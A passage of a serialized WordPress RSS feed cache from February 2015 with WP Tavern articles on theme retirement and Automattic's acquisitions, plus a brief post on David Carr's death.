clicked that auto-update button. Whereas, introducing a new version let&#8217;s the user decide whether to switch or not.&#8221; Price said. He plans on supporting Zenith for another year to give customers an opportunity to decide whether or not to switch to the new theme.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThemeRetirement.png\" rel=\"prettyphoto[38968]\"><img class=\"size-full wp-image-38982\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThemeRetirement.png?resize=650%2C200\" alt=\"Theme Retirement\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/120360673@N04/13856166954\">Retirement Calendar</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-sa/2.0/\">(license)</a>\n<p>Price <a title=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/#comment-799966\" href=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/#comment-799966\">gives more insight</a> into his strategy within the comments of an article written by Tom McFarlin on <a title=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/\" href=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/\">planned obsolescence of WordPress themes</a>.</p>\n<blockquote><p>I think planned obsolescence or &#8216;theme retirement&#8217; is a really good option for theme shops. Big updates (like converting a theme to be responsive, or using new development techniques like icon fonts) is sometimes really difficult to do in a way that won’t break child themes.</p>\n<p>We’re using a mix of the &#8216;Fork It&#8217; and &#8216;Retire It&#8217; options at DevPress. The &#8216;Cascade&#8217; theme will become &#8216;Cascadia&#8217; (for example) and we’ll make the new theme available for free to all customers who purchased the free version. Less popular themes will just be retired as we add new themes to take their place.</p></blockquote>\n<p>Although theme shops are able to retire themes and set up redirects to newer versions, retiring a theme is not as easy to do on the WordPress theme directory. According to Price, &#8220;You can request a takedown and release a theme under a different name, but there&#8217;s no way to 301 redirect the established traffic to the new spot.&#8221; Not only does a theme author lose traffic, but they also can’t push out critical updates for retired themes.</p>\n<p>DevPress isn&#8217;t the first theme shop to use a retirement strategy. Since 2012, WooThemes has <a title=\"http://docs.woothemes.com/document/retired-themes/\" href=\"http://docs.woothemes.com/document/retired-themes/\">retired 92</a> themes. Array also <a title=\"https://array.is/theme-retirement/\" href=\"https://array.is/theme-retirement/\">retires themes</a>, but offers them for free with no support. A theme retirement strategy makes sense from a business perspective, but as a customer, I expect themes I buy to stick around for a year or more.</p>\n<p>As a customer, what do you think about commercial theme companies retiring themes? For commercial theme shops, how does such a strategy help your business?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 20:13:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:12;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Matt: Passing of David Carr\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44692\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2015/02/passing-of-david-carr/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:330:\"<p>Shocked and dismayed this morning on the news that David Carr passed last night after collapsing in the New York Times newsroom, where he was working into the evening. If you&#8217;re not familiar with his work or legacy, <a href=\"http://mediagazer.com/150212/p36#a150212p36\">these links on Mediagazer are a good start</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 16:04:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:13;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"WPTavern: A Look Back at 16 Automattic Acquisitions Since 2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38863\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"http://wptavern.com/a-look-back-at-16-automattic-acquisitions-since-2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:23673:\"<p>Since <a title=\"http://automattic.com/\" href=\"http://automattic.com/\">Automattic</a> was founded in 2005, it has acquired several businesses, services, products, and people. In August, the company will be 10 years old and I thought it would be interesting to see if the acquisitions the company has made are still around. The list is organized from earliest to latest.</p>\n<h2>Gravatar</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-18453 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png?resize=239%2C63\" alt=\"Gravatar Logo 2\" /></a> <a title=\"http://en.gravatar.com/\" href=\"http://en.gravatar.com/\">Gravatar</a> stands for globally recognized avatar and is an image that follows you around on the web. This eliminates the hassle of maintaining a visual identity across multiple communities. In 2014, what was supposed to be a Gravatar mobile app, <a title=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\" href=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\">morphed into a Selfies app for Android</a>. Although Gravatar is supported in a number of applications, I think there&#8217;s still a lot of work to do before it becomes a globally recognized image. Gravatar was created by Tom Werner and <a title=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\" href=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\">acquired in 2007</a>.</p>\n<h2>BuddyPress Acqui-hire</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-966 size-full\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png?resize=212%2C76\" alt=\"BuddyPress Logo\" /></a><a title=\"https://buddypress.org/\" href=\"https://buddypress.org/\">BuddyPress</a> was conceived <a title=\"https://buddypress.org/about/story/\" href=\"https://buddypress.org/about/story/\">in 2008</a> by Andy Peatling and started out as a set of plugins to add social networking features to WordPress MU (multi-user). In March of 2008, Peatling was <a title=\"http://ma.tt/2008/03/backing-buddypress/\" href=\"http://ma.tt/2008/03/backing-buddypress/\">acqui-hired by Automattic</a> and joined the company as an employee. Peatling is not as active in BuddyPress core development, but thanks to John James Jacoby and the community surrounding it, it&#8217;s still an actively developed project. BuddyPress 2.2 <a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">was released in February and </a>features a new member type API and several bug fixes.</p>\n<h2>IntenseDebate</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2326 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png?resize=189%2C43\" alt=\"IntenseDebate Logo\" /></a><a title=\"http://intensedebate.com/home\" href=\"http://intensedebate.com/home\">IntenseDebate</a> is a third-party commenting service that showed a lot of promise of being a premiere service to replace the native commenting system in WordPress. It synced comments from the service to the local database to ensure no comments were lost. The service <a title=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\" href=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\">introduced</a> a <a title=\"http://intensedebate.com/plugins\" href=\"http://intensedebate.com/plugins\">plugin eco-system</a> in 2009, that I think if given more time, would have helped the service fly past the competition. Unfortunately, development on the service came to a halt somewhere <a title=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\" href=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\">between 2012 and 2013</a>.</p>\n<p>IntenseDebate was founded by Isaac Keyet and Jon Fox in 2006 and was <a title=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\" href=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\">acquired by Automattic</a> in 2008.</p>\n<h2>Polldaddy</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-3334\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png?resize=242%2C56\" alt=\"polldaddylogo2\" /></a><a title=\"https://polldaddy.com/\" href=\"https://polldaddy.com/\">Polldaddy</a> is a platform agnostic service that lets users create surveys and polls. Polldaddy was founded in 2006 by David Lenehan in Sligo, Ireland and was <a title=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\" href=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\">acquired by Automattic</a> in 2008. Between 2006 and when the company was acquired, about 1 million polls were created and 195 million votes were collected. At the time of Polldaddy&#8217;s acquisition, Automattic had <a title=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\" href=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\">about 20 employees</a>.</p>\n<h2>Blo.gs</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38873\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png?resize=244%2C90\" alt=\"blogs logo\" /></a><a title=\"http://blo.gs\" href=\"http://blo.gs\">Blog.gs</a> is a directory of recently updated blogs founded in 2002 by Jim Winstead. In 2005, the company was <a title=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\" href=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\">acquired by Yahoo!</a> and in 2009, transferred to Automattic. According to the <a title=\"http://ma.tt/2009/04/blogs-lives-on/\" href=\"http://ma.tt/2009/04/blogs-lives-on/\">announcement</a>, Automattic planned to beef up the service, &#8220;We’re looking forward to beefing up the service and giving it a refresh, while continuing its reputation for reliability.&#8221; The site&#8217;s design hasn&#8217;t changed in years and features like search and ping submissions are broken.</p>\n<h2>After the Deadline</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2512 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png?resize=253%2C60\" alt=\"afterthedeadlinelogo\" /></a><a title=\"http://www.afterthedeadline.com/\" href=\"http://www.afterthedeadline.com/\">After the Deadline</a> is a contextual spell checking service created in 2009 by Raphael Mudge. Out of all the acquisitions Automattic has made, Mudge has <a title=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\" href=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\">one of the best acquisition stories</a> I&#8217;ve read. After <a title=\"http://news.ycombinator.com/item?id=636168\" href=\"http://news.ycombinator.com/item?id=636168\">publishing a comment</a> on a Hacker News article showing off how AtD works, Mullenweg got in touch with Mudge and acquired the company in 2009.</p>\n<p>Mudge stayed with the company for a few years, but moved on to focus his energy on a new passion, <a title=\"http://www.advancedpentest.com/\" href=\"http://www.advancedpentest.com/\">cyber security</a>. AtD is actively developed and is available as <a title=\"http://jetpack.me/support/spelling-and-grammar/\" href=\"http://jetpack.me/support/spelling-and-grammar/\">a module in Jetpack</a>.</p>\n<h2>Plinky</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38875 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png?resize=283%2C127\" alt=\"Plinkylogo\" /></a><a title=\"http://www.plinky.com/\" href=\"http://www.plinky.com/\">Plinky</a> is a service created by Thing Labs that inspired users to write content. Every day Plinky displayed a prompt with a question, idea, or challenge. Writers answered the challenge using the Plinky editor which made it easy to add rich media and send posts to social media services. Plinky was acquired by Automattic in 2010. In 2014, user registration was disabled and the service was placed into archive mode.</p>\n<h2>Code Garage</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-6754 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg?resize=262%2C54\" alt=\"Code Garage Logo\" /></a><a title=\"http://codegarage.com/blog/\" href=\"http://codegarage.com/blog/\">Code Garage</a> provided backups, security scanning, and crisis control for WordPress sites. Customers could monitor 5 websites for $25 a month which was more affordable than VaultPress which charged a flat fee per site. Code Garage was founded in 2010 and <a title=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\" href=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\">acquired by Automattic</a> in 2012.</p>\n<p>In May of 2013, Code Garage <a title=\"http://wptavern.com/code-garage-migrations-are-underway\" href=\"http://wptavern.com/code-garage-migrations-are-underway\">migrated customers</a> to VaultPress and promptly shut the service down in July. As part of the acquisition, Peter Butler, one of the company&#8217;s founders, joined Automattic to work with the VaultPress team.</p>\n<h2>Simperium and Simplenote</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38878\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png?resize=127%2C126\" alt=\"Simperiumlogo\" /></a> <a title=\"https://simperium.com/\" href=\"https://simperium.com/\">Simperium </a>is the creator of <a title=\"http://simplenote.com/\" href=\"http://simplenote.com/\">SimpleNote</a>, a note taking app that is synchronized across platforms. Simperium is a data synchronization service that allows developers to move data everywhere it&#8217;s needed. The company was founded in 2010 and <a title=\"http://ma.tt/2013/01/simplenote-and-simperium/\" href=\"http://ma.tt/2013/01/simplenote-and-simperium/\">acquired by Automattic</a> in 2013.</p>\n<h2>Poster</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-38945\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png?resize=300%2C148\" alt=\"Poster Mobile App\" /></a>Poster was a slick, easy to use, WordPress mobile app for iOS that was founded by <a title=\"http://www.tomwitkin.com/\" href=\"http://www.tomwitkin.com/\">Tom Witkin</a> and <a title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">acquired in 2013</a>. After the acquisition, the app was removed from the App Store and Witkin joined the mobile team at Automattic.</p>\n<p>Frederic Lardinois, who <a title=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\" href=\"http://techcrunch.com/2013/06/17/automattic-acquires-ios-wordpress-client-poster-to-improve-its-own-mobile-apps/\">wrote about the news</a> on TechCrunch, described the app as, &#8220;one of the most elegant and smarter mobile WordPress clients.&#8221; The WordPress mobile apps continue to get better, but it&#8217;s unclear which improvements have been influenced by Witkin or Poster.</p>\n<h2>Lean Domain Search</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7919\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/07/LeanDomainSearchLogo.jpg?resize=259%2C51\" alt=\"Lean Domain Search Logo\" /></a><a title=\"http://www.leandomainsearch.com/\" href=\"http://www.leandomainsearch.com/\">Lean Domain Search </a>is a service that allows users to find and register domain names. One of its signature features is the domain name generator which suggests domains based on a word or phrase. Lean Domain Search was created by Matt Mazur in 2012 and <a title=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\" href=\"http://www.leandomainsearch.com/blog/45-lean-domain-search-acquired-by-automattic\">acquired in 2013.</a> When users find a domain they like, Lean Domain Search provides an option to register it and create a new blog on WordPress.com. Thanks to the acquisition, the service is still available and free to use.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png\" rel=\"prettyphoto[38863]\"><img class=\"size-full wp-image-38882\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/LeanDomainSearchResults.png?resize=996%2C761\" alt=\"Lean Domain Search Results\" /></a>Lean Domain Search Results\n<p>&nbsp;</p>\n<h2>Cloudup</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-12353 size-thumbnail\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2013/12/cloudup.png?resize=150%2C150\" alt=\"cloudup\" /></a><a title=\"https://cloudup.com/\" href=\"https://cloudup.com/\">Cloudup</a> is a free file-sharing service founded by Thianh Lu and Guillermo Rauch in 2010 and <a title=\"http://ma.tt/2013/09/automattic-cloudup/\" href=\"http://ma.tt/2013/09/automattic-cloudup/\">acquired in 2013</a>. <a title=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\" href=\"http://techcrunch.com/2013/09/25/automattic-acquires-file-sharing-service-cloudup-to-build-faster-media-library-and-enable-co-editing/\">According to TechCrunch</a>, the acquisition was supposed to help Automattic improve two particular features on WordPress.com. The media library used for uploading visual content and co-editing to give multiple users the ability to edit a post at the same time.</p>\n<p>Immediately following the deal, the team was tasked with revamping the post editor and replacing the media library on WordPress.com with Cloudup. Although Cloudup has <a title=\"https://cloudup.com/blog\" href=\"https://cloudup.com/blog\">continued to add new features</a>, it has yet to replace the media library or add the ability to edit posts at the same on WordPress.com.</p>\n<h2>Longreads</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-20743\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/04/longreads.jpg?resize=300%2C95\" alt=\"longreads\" /></a><a title=\"http://longreads.com/\" href=\"http://longreads.com/\">Longreads</a> is dedicated to finding and sharing the best long-form stories on the web. Longreads was founded by Mark Armstrong in 2009 and <a title=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\" href=\"http://en.blog.wordpress.com/2014/04/09/longreads-joins-automattic/\">acquired in 2014. </a>Longreads operates under a paid subscription model with plans ranging from $3-5 per month.</p>\n<h2>Scroll Kit</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-21768\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/04/scroll-kit.png?resize=300%2C158\" alt=\"scroll-kit\" /></a> <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> allowed users to create web pages without writing a line of code using a powerful visual editor. It made headlines when co-founder, Cody Brown, <a title=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\" href=\"http://techcrunch.com/2013/05/21/snow-fail-the-new-york-times-and-its-misunderstanding-of-copyright/\">recreated the famous Snow Fall piece</a> from the New York Times. Brown said he made the replica site in only an hour, &#8220;The New York Times spent hundreds of hours hand-coding &#8216;Snow Fall.&#8217; We made a replica in an hour.&#8221;</p>\n<p>Founded by Kate Ray and Cody Brown, <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit</a> was <a title=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\" href=\"http://ma.tt/2014/04/scrollkit-and-longreads-at-automattic/\">acquired in 2014</a>. According to an announcement on the <a title=\"http://www.scrollkit.com/\" href=\"http://www.scrollkit.com/\">Scroll Kit website</a>, Ray and Brown joined the WordPress.com product team. Scroll Kit shut down its service and users had three months to export their content. I&#8217;ve never used Scroll Kit, so it&#8217;s hard to determine what improvements are influenced by Ray and Brown. <a title=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\" href=\"http://wptavern.com/automattic-snaps-up-scroll-kit-to-add-to-the-wordpress-com-product-team\">We questioned</a> whether Scroll Kit&#8217;s editor would be added to the theme editing experience on WordPress.com. As a WordPress.com user, I haven&#8217;t noticed any major changes to the theme editing experience since the acquisition.</p>\n<h2>Parka</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-7693\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2013/07/bruteforcelogo.jpg?resize=228%2C219\" alt=\"Brute Protect Logo\" /></a><a title=\"http://getparka.com/\" href=\"http://getparka.com/\">Parka</a> is the parent company of <a title=\"https://bruteprotect.com/\" href=\"https://bruteprotect.com/\">BruteProtect,</a> a service that provides brute force login protection for thousands of sites. Parka was established in 2013 by Sam Hotchkiss and <a title=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\" href=\"http://jetpack.me/2014/08/26/automattic-bruteprotect/\">acquired in 2014. </a>All seven Parka employees joined Automattic and are part of the Jetpack development team.</p>\n<p>As part of the acquisition, <a title=\"https://my.bruteprotect.com/\" href=\"https://my.bruteprotect.com/\">BruteProtect pro</a> services became free to use. BruteProtect is undergoing a transformation as it&#8217;s merged into Jetpack as a module. Merging with Jetpack will give millions of sites free brute force login protection making the web a safer place.</p>\n<h2>Code For The People</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38941 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/CodeForThePeopleLogo.png?resize=270%2C132\" alt=\"CodeForThePeopleLogo\" /></a><a title=\"http://codeforthepeople.com/\" href=\"http://codeforthepeople.com/\">Code For The People</a> is a WordPress development agency based in the United Kingdom and a long time partner of the <a title=\"http://vip.wordpress.com/\" href=\"http://vip.wordpress.com/\">WordPress.com VIP program</a>. Founded by Simon Dickson and Simon Wheatley, Code For The People was <a title=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\" href=\"http://wptavern.com/automattic-acquires-code-for-the-people-expands-wordpress-com-vips-reach-into-european-markets\">acquired in 2014. </a>All six employees joined Automattic and will help out the VIP team during European hours.</p>\n<p>This acquisition is historic for two reasons. The first is that CTFP is the first WordPress development agency to be acquired by Automattic. Second, CFTP employee John Blackbourn was leading<a title=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\" href=\"http://wptavern.com/meet-john-blackbourn-wordpress-4-1-release-lead\"> the development cycle for WordPress 4.1</a> when the acquisition occurred, turning him into an Automattic employee.</p>\n<p>In addition to talent, they also obtained CFTP’s <a href=\"http://babbleplugin.com/\" target=\"_blank\">Babble</a> plugin, an open source multilingual tool, that will continue to be maintained by Automattic. According to <a title=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\" href=\"http://techcrunch.com/2014/11/06/automattic-buys-uks-code-for-the-people-to-build-out-its-wordpress-vip-enterprise-business/\">TechCrunch</a>, Mullenweg says Babble was a key part of the deal.</p>\n<h2>Thoughts and Observations</h2>\n<p>While going through the list of acquisitions Automattic has made over the years, a few things occurred to me. For all the great talent Automattic has acquired, it&#8217;s difficult to determine an individual&#8217;s influence on WordPress.com products. For instance, as an individual, Tom Witkin created an awesome mobile app for WordPress. Since being acquired, I can&#8217;t tell which improvements in the <a title=\"https://apps.wordpress.org/\" href=\"https://apps.wordpress.org/\">WordPress for iOS app</a> are the result of his work.</p>\n<p>Whether it&#8217;s due to time, difficulty, or other factors, certain items in some of the acquisition announcements have failed to materialize. A good example is the Cloudup acquisition. Nearly two years after the deal happened, WordPress.com and the self-hosted version still lack the ability to co-edit a post at the same time. There&#8217;s also no improvements to the media library I can trace back to the Cloudup team. It&#8217;s unclear if these are items still on the priority list or if they&#8217;ve been discarded.</p>\n<p>Another thing I noticed is that I didn&#8217;t recognize most of the businesses, products, and services acquired until after the acquisition announcement was published. It indicates Mullenweg has his eye on up and coming properties doing awesome things in the space. Unfortunately, in some instances, it means the product or service is shut down by Automattic eliminating any opportunity to use it. Poster, Blo.gs, and Scroll Kit immediately come to mind as things I&#8217;ll never  have the chance to use.</p>\n<p>I hope you enjoyed this trip down memory lane. We&#8217;re at the beginning of a new year and with <a title=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\" href=\"http://recode.net/2014/05/05/wordpress-parent-automattic-has-raised-160-million-now-valued-at-1-16-billion-post-money/\">Automattic raising $160M in 2014</a>, it&#8217;s only a matter of time before we read about the next acquisition. Who or what do you think the company will acquire next?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 03:55:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:14;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: Customizer Theme Switcher Officially Proposed for WordPress 